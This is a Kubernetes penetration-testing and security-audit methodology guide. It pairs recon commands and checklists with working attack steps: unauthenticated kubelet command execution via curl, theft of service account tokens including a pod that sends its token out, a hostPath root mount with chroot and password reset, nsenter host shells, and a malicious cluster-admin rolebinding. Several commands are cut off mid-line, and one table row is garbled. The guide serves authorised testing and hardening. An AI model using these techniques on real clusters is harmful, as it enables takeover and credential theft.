Introduction

Managed vs unmanaged

A good thing to ask the customer is if they are running a managed or unmanaged cluster. That is, is the cluster managed by gcloud (GKE), AWS (EKS), or Microsoft (AKS), or some other cloud-provider? If it is, it's a bit less likely that some of the configuration mistakes are made. It also means that the administrators of the cluster might have less ability to manage the cluster themselves. How much of the cluster that is managed depends on the cloud provider. They might be responsible for updating kubernetes, and configure the Master node, and only let the customer control the worker nodes. In GKE for example, the Control Plane is managed by Gcloud, and the worker nodes are managed by the customer. The Control Plane (Cluster Master/ Master Node) is essentially a black box to the administrator.

Another managed kubernetes provider is Rancher.

A drawback of using a managed cluster is that you might not have access to all features that is available in a unmanaged cluster.

If you run an unmanaged cluster you will have access to the master node, and you will be repsonsible for updating kubernetes.

Some terminology

Kubernetes API

This API is accessible on port 6443 or 443 (GCE, and other Cloud providers usually run it on port 443, while the default is on 6443) on the master node. It is the API that `kubectl` uses, and through it you managed the desired state of your cluster. If you have high priviliges to the API you own the cluster. It is with this API that you defined things such as: what pods to run, how many replicas, what network and disk resources you want to make available.

The API is the single source of truth.

The API is sometimes referred to as `kube-apiserver` because that is the name of the server running on the Cluster master.

Kubernetes Control Plane

The Control Plane is in charge of putting your cluster in the state that you configured through the Kubernetes API. The term Control Plane is kind of an umberella term to combine several processes running on the master and worker nodes. The Kubernetes Master is a set of three processes that are running on your Master Node. Those processes are: `kube-apiserver`, `kube-controller-manager`, and `kube-scheduler`. Each non-master node runs the following processes: `kubelet` and `kube-proxy`. The `kubelet` process communicates with the Kubernetes Master. The `kube-proxy` is a network proxy which reflects Kubernetes networking services on each node.

Master node aka Cluster master

The master node usually runs these services/processes: `kube-apiserver` - API Server - Available on port 443 - It communicates with `kubelet`, available on the worker nodes. The communication is bi-directional.

ETCD - Scheduler -

In a managed cluster, like GKE, google is responsible to upgrade the Master. But you can also manually upgrade it using `gcloud` CLI tool.

Worker node

A cluster typically has at least one or more nodes. When people say nodes they usually refer to these worker nodes. It is sometimes called: cluster node, worker node. A worker node is hardware (or virtualized hardware). You need a dedicated VM to function as your worker node. In GKE the worker nodes are just VM-instances.

The worker node usually runs these services/processes:

`Kubelet` - The communication between the `kubelet` and the `kube-apiserver` is bi-directional. The communication goes over REST HTTP.

cAdvisor -

Kube-proxy

Pod - The pods are running on the worker node. But it is the `kube-apiserver` that holds the information about pods, like how many replicas it should have, etc.

In managed cluster. Like GKE, you never ssh straight to the worker node. Instead the worker node is administrated through `gcloud` CLI tool or through the web console.

The worker node usually have a few different interfaces. One interface on the kubernetes network, where the pods are. A one interface connected to the gcloud network.

Workloads

You often hear the concept Workloads mentioned. Kubernetes divides workloads into a few different types.1. Deployments 2. StatefulSets 3. DaemonSets 4. Jobs 5. Cronjobs

Namespace

Namespaces are a way to divide cluster resources in different groups, or namespaces. This can be useful when you want a user to only be able to access certain resources. Those resources can be put in a specific namespace that only that user has access to.

A common usecase would be to create a development and a production namespace.

Users interacting with one namespace do not see the content in another namespace.

Admission controller

You here this term quite a bit. An admission controller intercept objects between the user and the apiserver, kind of. An easy way to understand admission controller is to take the admission controller PodSecurityPolicy as an example.

A pods properties is usually defined in a yaml file. And it is then deployed using this command:

```
kubectl apply -f podfile.yaml
```

The specification from the file is sent to the apiserver which then performs its magic and deploys the pod. If you have defined a PodSecurityPolicy the pod you are about to deploy is checked against the PodSecurityPolicy to make sure that the pod adheres to that policy, if it does not the deployment is stopped, and if it adheres to the policy the pod is deployed.

There are two types of admission controllers: validating and mutating. Validating just valides the object, and mutating mutates it.

There are many other admission controllers:

https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/

Useful kubectl commands

The most important:

```
kubectl api-resources
```

The greatest kubectl flag you will ever see: `-v=9`. Incredible verbosity: You will understand exactly what kubectl is actually doing.

```
kubectl -v=9 get pods
```

Components

Etcd

Etcd is a service, normally running on port 2379. Its job is to store data related to the cluster. Things such as configuration data, state, and metadata. Etcd is distributed, which means that it usually runs on every cluster node.

RBAC

RBAC stands for Role-Based Access Control. It is the authorization model used in Kubernetes. It replaced Attribute Based Access Control (ABAC) since version 1.6.

RBAC allows the cluster administrator perform granular access control. Specifying what each user and servoce account can do. A user can have a specific role. It is possible to specify which Object a Role should have access to, and which actions (called verbs) theys hould be able to perform. If the cluster is a managed cluster, like GKE, it is possible, and common, to integreate the cloud IAM with kubernetes RBAC.

RBAC lets us define what subjects can take what actions on what types of objects, in what namespaces. RBAC is configured by configuring User (Service user or human-user), Roles and RoleBinding. So we can create a user, then a role, and the we will bind the user to that role. This can be done with just one configuration file, for example like this:

```
kubectl create -f user.yaml
```

```
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: mynamespace-user
  namespace: mynamespace

---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
  name: mynamespace-user-full-access
  namespace: mynamespace
rules:
- apiGroups: ["", "extensions", "apps"]
  resources: ["*"]
  verbs: ["*"]
- apiGroups: ["batch"]
  resources:
  - jobs
  - cronjobs
  verbs: ["*"]

---
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
  name: mynamespace-user-view
  namespace: mynamespace
subjects:
- kind: ServiceAccount
  name: mynamespace-user
  namespace: mynamespace
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: mynamespace-user-full-access
```

Tools

There are a number of tools that can facilitate the pentest or audit of a kubernetes network.

kube-hunter

Url: https://github.com/aquasecurity/kube-hunter The tool can audit from the external perspective or internal. It can perform a passive or active scans. In active scans the tool will actually exploit vulnerabilities. If you run this you may alter the cluster you are testing, so be careful. The tool can perform many checks such as:

Passive Hunters:

- Mount Hunter - /var/log Hunt pods that have write access to host's /var/log. in such case, the pod can traverse read files on the host machine
- AKS Hunting Hunting Azure cluster deployments using specific known configurations
- Host Discovery Generates ip adresses to scan, based on cluster/scan type
- K8s Dashboard Discovery Checks for the existence of a Dashboard
- Kubelet Discovery Checks for the existence of a Kubelet service, and its open ports
- Kubelet Secure Ports Hunter Hunts specific endpoints on an open secured Kubelet
- Kubelet Readonly Ports Hunter Hunts specific endpoints on open ports in the readonly Kubelet server
- API Server Hunter Checks if API server is accessible
- Port Scanning Scans Kubernetes known ports to determine open endpoints for discovery It takes the local ip, and scans the entire range for open ports such as: 8001, 8080, 10250, 10255, 30000, 443, 6443, 2379
- Certificate Email Hunting Checks for email addresses in kubernetes ssl certificates
- API Service Discovery Checks for the existence of K8s API Services
- K8s CVE Hunter Checks if Node is running a Kubernetes version vulnerable to known CVEs
- Etcd Remote Access Checks for remote availability of etcd, its version, and read access to the DB

- Proxy Discovery Checks for the existence of a an open Proxy service
- Host Discovery when running as pod Generates ip adresses to scan, based on cluster/scan type
- Pod Capabilities Hunter Checks for default enabled capabilities in a pod
- Dashboard Hunting Hunts open Dashboards, gets the type of nodes in the cluster
- Api Version Hunter Tries to obtain the Api Server's version directly from /version endpoint
- Kubectl CVE Hunter Checks if the kubectl client is vulnerable to known CVEs
- Etcd service check for the existence of etcd service
- Access Secrets Accessing the secrets accessible to the pod
- Kubectl Client Discovery Checks for the existence of a local kubectl client
- Proxy Hunting Hunts for a dashboard behind the proxy
- API Server Hunter Accessing the API server using the service account token obtained from a compromised pod

Active Hunters:

- Kubelet Container Logs Hunter Retrieves logs from a random container
- Prove /var/log Mount Hunter Tries to read /etc/shadow on the host by running commands inside a pod with host mount to /var/log
- Kubelet Run Hunter Executes uname inside of a random container
- K8s Version Hunter Hunts Proxy when exposed, extracts the version
- Build Date Hunter Hunts when proxy is exposed, extracts the build date of kubernetes
- Azure SPN Hunter Gets the azure subscription file on the host by executing inside a container
- API server hunter Accessing the api server might grant an attacker full control over the cluster
- Arp Spoof Hunter Checks for the possibility of running an ARP spoof attack from within a pod (results are based on the running node)
- Etcd Remote Access Checks for remote write access to etcd- will attempt to add a new key to the etcd DB
- Kubelet System Logs Hunter Retrieves commands from host's system audit
- DNS Spoof Hunter Checks for the possibility for a malicous pod to compromise DNS requests of the cluster (results are based on the running node)

External Pentest

In an external pentest the scenario is that you do not have access to the kubernetes cluster at all. There is not that much kubernetes-specific attacks that can be performed. Mainly scan for open ports that might be related to kubernetes.

Check open ports

```
nmap <ip> -p
```

```
 443/tcp - Kubernetes API server
2379/tcp - Etcd
2380/tcp - Etcd
6666/tcp - Etcd
4194/tcp - cAdvisor - Container Metrics
6443/tcp - Kubernetes API server
8443/tcp - Minikube API server
8080/tcp - Kubernetes API server
10250/tcp - Kubelet - HTTPS API with full node access
10255/tcp - Kubelet - Unauthenticated readonly. Pods/runnings pods/nodes
10256/tcp - Kube-proxy - Kube proxy health check server
9099/tcp - Calico Felix - Health check server for Calico
6782-4/tcp - Weave
44134/tcp - Tiller
44135/tcp - Tiller
30000-32767/TCP - Nodeport
```

- [ ] Check if the API-server is exposed externally If you have access to a configured `kubectl` you can retreive the IP-address of the master node with the following command: `kubectl config view` and then check for `server: https://<ip>`.

The Kubernetes API server by default prohibits "Anonymous" users to interact with it. If a request is made without any bearer-token the user is given the username `system:anonymous` and the group `system:unauthenticated`.

However, you never know it might be misconfigured and allow anonymous.

- [ ] Check if kubelet port 10255 is exposed - for information disclosure Kubelet is running on all worker nodes. It is running on port 10255, and no authentication is required. It is only possible to read from the API. It is meant to be exposed unauthenticated from inside the cluster. But not externally.

Check to see if the port is accessible on all workers nodes external addresses:

```
curl http://<external worker node ip>:10255/pods
```

Internal Pentest

Useful recon commands

```
kubectl get nodes -o wide -A
```

Get external IP of master node

```
kubectl config view
```

Get internal IP of master node

```
 kubectl get svc -o wide
# The clusterIP is the internal IP to your master node
```

Check the environment variables in the Pod:

```
 env
#KUBERNETES_PORT_443_TCP_PROTO=tcp
#KUBERNETES_PORT_443_TCP_ADDR=10.39.240.1
#KUBERNETES_SERVICE_HOST=10.39.240.1
#KUBERNETES_PORT=tcp://10.39.240.1:443
#KUBERNETES_PORT_443_TCP_PORT=443
#
```

This will resolve to a Service IP which in turn will be routed to the API server.

```
host kubernetes.default.svc
```

Get IP:s of worker nodes

If you have access to `kubectl`.

```
kubectl get nodes -o wide
```

If you have kubectl and want to run it with a service-token:

```
kubectl --insecure-skip-tls-verify=true --server="https://<internal or external kube-apiserver ip>:443" --token="eyJ[...]" get pods
```

If you are in a pod with kube-hunter you can run:

```
python kube-hunter --interface --mapping
```

What is basically does is that it performs a port-scan of the entire range of the pods internal IP-address. It looks for ports like 8001, 8080, 10250, 10255, 30000, 443, 6443, 2379

Check what node a pod is running on

```
kubectl get pod <name-of-pod> -o yaml
```

Port scan the cluster

Check your ip and subnet in the pod:

```
ip a
```

Scan the cidr for interesting ports, you will find other Pods and other nodes.

```
nmap 10.36.0.1/24 -p 8001,8080,10250,10255,30000,443,6443,2379
```

Basic tests

- [ ] Check for anonymous access to `kube-apiserver`

See "Useful recon commands" how to get the external or internal IP of the kube-apiserver. The entire kube-apiserver API documentation is found here: https://docs.openshift.com/container-platform/3.3/rest_api/kubernetes_v1.html By default interesting API endpoints are restricted by default, but you never know until you try.

```
 curl -k https://<external or internal ip to kube-apiserver>:443/api/v1/componentstatus
curl -k https://<external or internal ip to kube-apiserver>:443/api/v1/namespaces/default/secrets
```

You should get a response with Forbidden if it doesn't work.

- [ ] Check for anonymous access to ETCD

Etcd by default does not allow anonymous access to its database, but you never know.

kube-hunter checks for the existence of an etcd service on the subnet. It also checks if the user has read access to it.

```
 curl http://<internal or external ip>:2379/version
curl http://<internal or external ip>:2379/v2/members
curl http://<internal or external ip>>:2379/v2/keys/?recursive=true

# Or using the etcdctl tool
etcdctl -endpoints=http://<MASTER-IP>:2379 get / -prefix -keys-only
```

In GKE port 2379 is only available to the Master API through the loop-back interface. So the port is not exposed externally or on the internal network.

- [ ] Check if kubelet port 10250 is accessible unauthenticated.

Kubelet is a service that is running on the worker nodes. It is just a REST API running on port 10250 and 10255. The idea of the Kubelet API is to receive instructions from the `kube-apiserver` service on the master node. Since it is not meant for human users its API is actually not documented. But by reading the source we know a little bit about it. For example, the following endpoints:

```
 curl -k https://workernode:10250/pods
curl -k https://k8-node:10250/runningpods/
Lists running pods
curl -k https://workernode:10250/exec
Executes a command in a container, and returns a link to view the output.
```

If you get "Unauthorized" well, then anonymous users are not authorized to access the API. If you get a response to the /pods request, it might mean that it allows anonymous authentication. Which means that you might be able to RCE the pods. By using the `exec` endpoint you can execute commands on other pods.

```
 curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /"

# You can also check the environment variable to see if you can get the kubelet token:
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=env"
```

For reference on how to exploit this see: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-unauth-kublet-api-10250_16.html

- [ ] Check kubelet port 10255 (read only) for information disclosure

Kubelet is running on port 10255, but is read-only. It is nothing to report if it is only available on the inside of the cluster, but it should not be exposed externally. It can still be useful to an attacker inside the cluster, as a way to gather information.

```
curl -k http://10.36.2.1:10255/pods
```

- [ ] Check for Service account secret / token

If no service account is specified for a Pod, the Pod is automatically assigned the default service account in the namespace.

Each pod is provided with a service account by default. The extent of the priviliges that is given to that account is configurable. So it is best to just verify it by testing it. The secret token is created and put in a volume that is automatically mounted to pods with the default service account. You can access the service account token (A JWT) in the Pod at the following path:

```
/var/run/secrets/kubernetes.io/serviceaccount/token
```

You can take the JWT and try to authenticate to the `kube-apiserver` like this: Note that the port can be 443 or 6443. So try both.

```
curl -k -H "Authorization: Bearer eyJhbG[...] " https://<masternode ip>:443/api/v1/namespaces/default/secrets
```

Another way to do it is with kubectl like this:

```
kubectl --insecure-skip-tls-verify=true --server="https://<masternode-ip>:443" --token="eyJh[...]" get secrets --all-namespaces -o 
```

kube-kunter also performs this check when running with the --pod flag, like this

```
python kube-hunter.py --pod
```

Reference to hack: https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0

Recommendation

You can configure an admission controller to not automatically mount the token.

- [ ] Check for CVE-2018–1002105

The vulnerability allows users permitted to one namespace to interact with the Master API in other namespaces.

It is easy to test for, the issue is fixed in the following versions, and above:

```
     v1.10.11
    v1.11.5
    v1.12.3
```

```
kubectl version
```

For how to exploit it see: https://blog.appsecco.com/analysing-and-exploiting-kubernetes-apiserver-vulnerability-cve-2018-1002105-3150d97b24bb https://gravitational.com/blog/kubernetes-websocket-upgrade-security-vulnerability/

- [ ] Check for usage of Helm

There is a kubernetes package manager called Helm. Helm consists of a Client, which is the Helm Client. ANd a server, called Tiller server. The Helm repository is just a simple webserver from which you can search and find packages.

Tiller is a server running the cluster.

- [ ] HostPath - Mount worker node root directory to Pod

If you have an account that can deploy pods, you can mount the node workers root directory into the pod. And thereafter access the node workers root directory, and for example change the password of a user, which you can then use to ssh into the node.

This attack can be performed in the following way: Create a new pod, like the following, and aplly it:

```
kubectl apply -f testdeployment.yaml
```

```
apiVersion: apps/v1
kind: Deployment
metadata:
  name: testpod-deployment
  labels:
    app: testpod
spec:
  replicas: 1
  selector:
    matchLabels:
      app: testpod
  template:
    metadata:
      labels:
        app: testpod
    spec:
      containers:
      - name: testpod
        image: gcr.io/kuberntest/kubeaudit:latest
        volumeMounts:
        - mountPath: /root
          name: rooten
      volumes:
      - name: rooten
        hostPath:
          path: /
```

Now you can just use chroot and change the password of a user, and then ssh into the node worker with that user.

```
cd /root
chroot /root /bin/bash
passwd <someuser>
```

In order to perform this attack against all the node-workers it is posssible to deploy a DaemonSet. A DaemonSet is a workload that ensures that a Pod is run on all worker nodes. If new worker nodes are added to the cluster the DaemonSet will ensure that each has the specified pod running on it. It can be sueful if you want to run a logs collection daemon on all nodes, or a monitoring daemon. Those pods usually mount the nodes log directory to the pod. This can be used to ensure that out malicious pod available on all worker nodes.

Recommendation

You can create a PodSecurityPolicy that disallows pods from mounting the root directory from the Host.

You can also create a network policy that disallows outgoing traffic, thus preventing reverse shells a bit.

- [ ] Check if running Kubelet on master node

If you are running kubelet on a master node, and the user is able to mount a directory from the host into the pod, then you will be able to gain access to the etcd certificates. With these certificates it is possible to comunicate directory to etcd, and thereby retreive secrets/tokens of high priviliged users.

Note that in your manifest file you can specify which node you want to deploy your POD on. By doing that you can specify that you want to deploy your pod on the master node (if that node is running kubelet). This means that the scheduler, is not a security boundry, you can simply just bypass the scheduler.

The attack is explained here, around minute 16: https://www.youtube.com/watch?v=HmoVSmTIOxM

Recommendation

- Don't run kubelet on the control plane (On the master-node)
- Don't allow mounting of HostPath

- Sheduler is not a security component - exact node can be specified in the POD manifest

- [ ] Check for Docker-in-Docker

Some people want to run docker in a Pod. In order to do that they usually mount the worker-node docker-socket into the Pod. This is usually done using hostPath in the pod/deployment manifest file. The docker api is unauthenticated, so anyone with access to the socker can interact with it.

To check for it grab all the deployment and pod manifest-files, and search for:

```
hostPath:
  path: /var/run/docker.sock
```

Note that this attack works evern though privilige-escalation is denied, and the Pod is running as a non-root user.

So, if the docker-socket is mounted, a user within the Pod can run a docker-container on the underlying host, the worker node, for example. If you can do that, you can mount a worker node directory, such as /etc, to your docker container, and from there gain access to the underlying filesystem.

Recommendation

- Don't mount the docker-socket to a Pod.
- Restrict usage of hostPath with an admission controller.
- [ ] Check for HostPid allow

So just like you are able to escalate priviliges by mounting in the host root directory, it is also possible to escalate priviliges if you are allowed to create a Pod with the `hostPid`.

See how to attack this here: https://www.youtube.com/watch?v=HmoVSmTIOxM

If the Pod is deployed with these settings:

```
 securityContext:
     priviliged: true
hostPID: true
```

It means that you can run the following command in the Pod to get a root shell on the underlying host:

```
sudo nsenter -a -t 1 bash
```

Recommendation

- Use the adminission controller Pod Security Policy and disallow hostPid.
- Restrict the use of "priviliged" containers
- [ ] Check which services are exposed

When an application is deployed, through a Pod or Deployment, it will not automatically become available to users outside the kubernetes cluster. In order to direct traffic to those services a kubernetes service is needed.

We need to check what services are exposed externally, to see if any sensitive servicea accidentally has been expoesed.

If those services are vulnerable or not can be considered out of scope (we are not testing the applications hosted on the cluster). But some kubernetes specific services might be exposed, and that might constitute a finding.

```
kubectl get services -A -o wide
```

- [ ] Check which versions kubernetes components are running

A kubernetes cluster consist of many components, and those components vary from cluster to cluster. Some of these components are vulnerable, for example older Traefik versions are vulnerable to RCE. You can check which versions the components have by checking which image they use, this can be

Check which image versions of deployments:

```
kubectl describe deployments -A
```

Authorization

There are some quirks regarding the authorization system that might be interesting.

For example, a user (maybe even a service account) might have the right to execute commands on pods, but it might not have the right to deploy new pods. If that is the case then it is possible to simply execute a command on other pods and extract the auto-mounted credentials, and then use those credentials to, for example, deploy a new pod.

In this way it is possible to escalate in priviliges within a cluster.

The most basic components of RBAC (Roles Based Access Control) are the following:

ClusterRoles

A ClusterRole applies to the whole cluster.

Roles

A normal Role only applies to a specific namespace.

ClusterRoleBindings

RoleBindings

RBAC grant access to **resources** with specifc verbs, like **get, describe**. A resource is basically information that can be access. Secrets, pod information etc. The verbs specify how the resource can be access, get,list,watch etc. RoleBindings and ClusterRoleBinding is of course the way we bind a specific role to a specific user.

One tool that I have found that can be of interest is this:

https://raw.githubusercontent.com/cyberark/kubernetes-rbac-audit/master/ExtensiveRoleCheck.py

https://github.com/cyberark/kubernetes-rbac-audit

```
kubectl get roles --all-namespaces -o json > Roles.json
kubectl get clusterroles -o json > clusterroles.json
kubectl get rolebindings --all-namespaces -o json > rolebindings.json
kubectl get clusterrolebindings -o json > clusterrolebindings.json

python ExtensiveRoleCheck.py --clusterRole clusterroles.json  --role Roles.json --rolebindings rolebindings.json --cluseterolebindin
```

To list service accounts:

```
kubectl get serviceaccounts -A
```

- [ ] Check for interesting user and service account rights

One kind of complicated way to test what a specific user can do is to run the following

```
# Check if your current user can run `exec` on pods.
kubectl auth can-i exec pods
kubectl auth can-i get pods
```

Take low priviliged account that you have been given or compromised, and use that account when you run:

```
kubectl auth can-i --list
kubectl auth can-i --list -n SomeNameSpace
```

So what to look for? Look for the verb `list` together with `secrets`. That might mean that you can list other users secrets, and steal their JWT token.

Resource	Verb	Comment		
secrets	list or *			
secrets	get			
*	get	Can be used to get secrets.		
	asdasdlasdhaklw	Can be used to get secrets.		

- [ ] Check for CVE: CVE-2018-18264 Privilige Escalation

```
kubectl proxy 8001
```

In your browser go to http://localhost:8001 If you can access it, klick on "skip" for the authentication. The go to URL: `/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs` and see if you can get some secrets.

The simple way to check this is to see if the kubernetes version is below: 1.10.1

```
kubectl version
```

https://sysdig.com/blog/privilege-escalation-kubernetes-dashboard/

- [ ] Create Pod in kube-system namespace and automount service account

So if you have a kubernetes user that can deploy pods in any namespace you can mount in a high priviliged service account into the the pod, and then extrct those credentials. This can be done in the following way.

Deploy the following pod:

```
apiVersion: v1
kind: Pod
metadata:
  name: alpinetest
  namespace: kube-system
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", 'apk update && apk add curl --no-cache; sleep 100000']
  serviceAccountName: bootstrap-signer
  automountServiceAccountToken: true
  hostNetwork: true
```

This technique can be used if your user does not have the permission to list secrets, but is allowed to deploy pods in any namespace. Also, you do not have to have the `exec` permission to use the attack. You can deploy the pod to automatically send the credentials, like this:

```
apiVersion: v1
kind: Pod
metadata:
  name: alpine
  namespace: kube-system
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k
  serviceAccountName: bootstrap-signer
  automountServiceAccountToken: true
  hostNetwork: true
```

- [ ] Deploy pods using Create/update deployment, Daemonsets, statefulsets,Replicationcontrollers, Replicasets, Jobs, Cronjobs

There are many ways to deploy pods. Even if your user is not allowed to create a pod it might be possible to create pods using other types of workloads. All these ways can be used to deploy pods and possibily escalate priviliges using the technique explained in the issue above.

Workloads that can be used to create pods are the following:

```
Create/update deployments
Daemonsets
Statefulsets
Replicationscontrollers
Replicasets
Jobs
Cronjobs
```

Readthe documentation for each for in order to see how to do it. As in the attack above you will need to be able to deploy in the namespace `kube-system`.
https://www.cyberark.com/threat-research-blog/kubernetes-pentest-methodology-part-1/

- [ ] Privilige to use Pods/Exec

This is pretty simple. But if your user has the permission to perform `pods/exec` with any namespace you can simply enter into any pod, and extract the default service accounts.

```
kubectl exec -it <POD NAME> -n <POD’S NAMESPACE> -- sh
```

- [ ] Privilege to Get/patch rolebindings

The idea here is if your user has the permission to edit rolebindings that use can simply bind a user to the ClusteAdmin role and thereby escalate priviliges to the highest.

Check your priviliges with your low priviliges user with the following command:

```
kubectl auth can-i --list
```

If you have the permission to create Rolebindings you can create a malicious rolebinding like this: You might have to change the namespace and the service account to your service account and namespace.

```
{
    "apiVersion": "rbac.authorization.k8s.io/v1",
    "kind": "RoleBinding",
    "metadata": {
        "name": "malicious-rolebinding",
        "namespace": "default"
    },
    "roleRef": {
        "apiGroup": "*",
        "kind": "ClusterRole",
        "name": "admin"
    },
    "subjects": [
        {
            "kind": "ServiceAccount",
            "name": "default",
            "namespace": "default"
        }
    ]
}
```

If it works you can use the token of the service account to do anything to want in the cluster.

- [ ] Check for impersonation privileges

There exists a functionality to impersonate service accounts. This can be used if you want to check that a a serviceaccount has apropriate priviliges, but it can also be used for malicious intents.

```
curl -k -v -XGET -H “Authorization: Bearer <JWT TOKEN (of the impersonator)>” -H “Impersonate-Group: system:masters” -H “Impersonate
```

- [ ] Check if RBAC is used

Role-Based Access Control has been the stable since version 1.8

RBAC is enabled by the apiserver by starting the apiserver with this flag `--authorization-mode=RBAC`

If you don't ahve access to the apiserver flags you can check it interactivly by running:

```
kubectl api-versions
```

If you see the following output RBAC is enabled:

```
 rbac.authorization.k8s.io/v1
rbac.authorization.k8s.io/v1beta1
```

If Kubernetes is run as a managed cluster with Azure you can check if with the following:

```
az aks list
```

Check for:

```
RBAC true
```

However, it is still possible to disable. Do check that it is enabled.

Security Audit

The security audit is a profile used when the tester has a kubernetes user with read privileges and is able to talk to the apiserver.

- [ ] Check if PodSecurityPolicy is supported

It might be that kubernets is started without enabling PSP.

```
kubectl get psp
```

If PSPS is not supported, or enabled you will get the following error:

```
the server doesn't have a resource type "podSecurityPolicies".
```

If it is supported you get either the policies or an error such as:

```
No resources found
```

Recommendation

Enable PSP. This is done differently according to the vendor. In Minikube it can be done the following way:

```
minikube start --extra-config=apiserver.GenericServerRunOptions.AdmissionControl=NamespaceLifecycle,LimitRanger,ServiceAccount,Persi
```

- [ ] Check if PodSecurityPolicy is used

Remember to add the `-A` flag, so that you can view the podsecurity policies in all namespaces.

```
 kubectl get psp -A
kubectl describe psp
```

Inspect the PSPs. Now you need to figure out which PSPs are actually used. PSPs are applied to Pods using annotations.

If you are clusteradmin, and can check all pods in all namespaces, you can run the following command:

```
kubectl describe pods -A
```

Now check the annotations part to see which PSP is applied to each Pod. The annotation part usually look something like this:

```
Annotations:    kubernetes.io/psp: <name of PSP>
```

- [ ] Static analysis of yaml files - Searching for secrets

Secrets should not be stored in the yaml configuration for workloads such as pods, deployments, jobs etc. Maybe a secret is stored in an environment variable in the a yaml, and that yaml is accessible to everyone.

```
 kubectl describe pods -A
kubectl describe deployments -A
```

There are a lot of other bad configurations that can be introduced. One way to check these is with the tool kubesec. I have not used this tool, and not audited it. So run it on your own responsibility. https://kubesec.io/ I think you can just output the yaml file and then run it in kubesec.

```
 kubectl describe deployments -A > describe-deployments.txt
cat -n describe-deployments.txt | sed -n '/Environment/,/Mount/p'
```

```
kubectl get pod kubeaudit-6f5964556b-5vnk5 -o yaml
```

- [ ] Check that pods are running as non-root users

By having the services on the containers running as a non-root user it makes it more difficult for an attacker to escape the the container to the host os. The container is sandboxed from other containers running on the host with the help of linux namespaces. It is more probable that a container breakout is possible if the pod is running as root.

Another reason to not run a service as root is that if kubernetes has been misconfigured to accidentally expose volumes to the container, the volume will still not be able to mount because of lacking root priviliges.

This can be verified the following way, albeit not perfectly. This way will only show if the service in the container is running as root or some other user. It might be that it is possible to run `sudo su` and escalate priviliges.

```
 kubectl -n thenamespace exec mypod whoami
and
kubectl -n thenamespace exec -it mypod /bin/bash
```

Therefore it is better to configure a PodSecurityPolicy to handle the problem.

It is possible to create a PodSecurityPolicy that disallows containers to run as root. If such a policy exists the apiserver will disallow the deployment of a container that is running as root.

The following lines in a PodSecurityPolicy disallows containers from running as root.

```
# Required to prevent escalations to root.
allowPrivilegeEscalation: false
runAsUser:
  # Require the container to run without root privileges.
  rule: 'MustRunAsNonRoot'
```

One issue that might occur here is that the app cant use ports below 1024. This can be solved by running the app on a higher port, by expose it on a lower. An example of this could be the following:

```
kind: Service
apiVersion: v1
metadata:
  name: my-service
spec:
  selector:
    app: MyApp
  ports:
  - protocol: TCP
    port: 443
    targetPort: 8443
```

https://kubernetes.io/blog/2018/07/18/11-ways-not-to-get-hacked/

- [ ] Check the usage of network policies

NetworkPolicy is just a kubernetes-word for firewall. By default all pods in the kubernetes cluster is allowed to talk to all pods. There is not segmentation between pods. This can be restricted with network policies.

```
kubectl get networkpolicies -A
```

This is an example of a network policy:

```
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: myapp-deny-external-egress
spec:
  podSelector:
    matchLabels:
      app: myapp
  policyTypes:
  - Egress
  egress:
  - ports:
    - port: 53
      protocol: UDP
  - to:
    - namespaceSelector: {}
```

Resources

https://dev.to/petermbenjamin/kubernetes-security-best-practices-hlk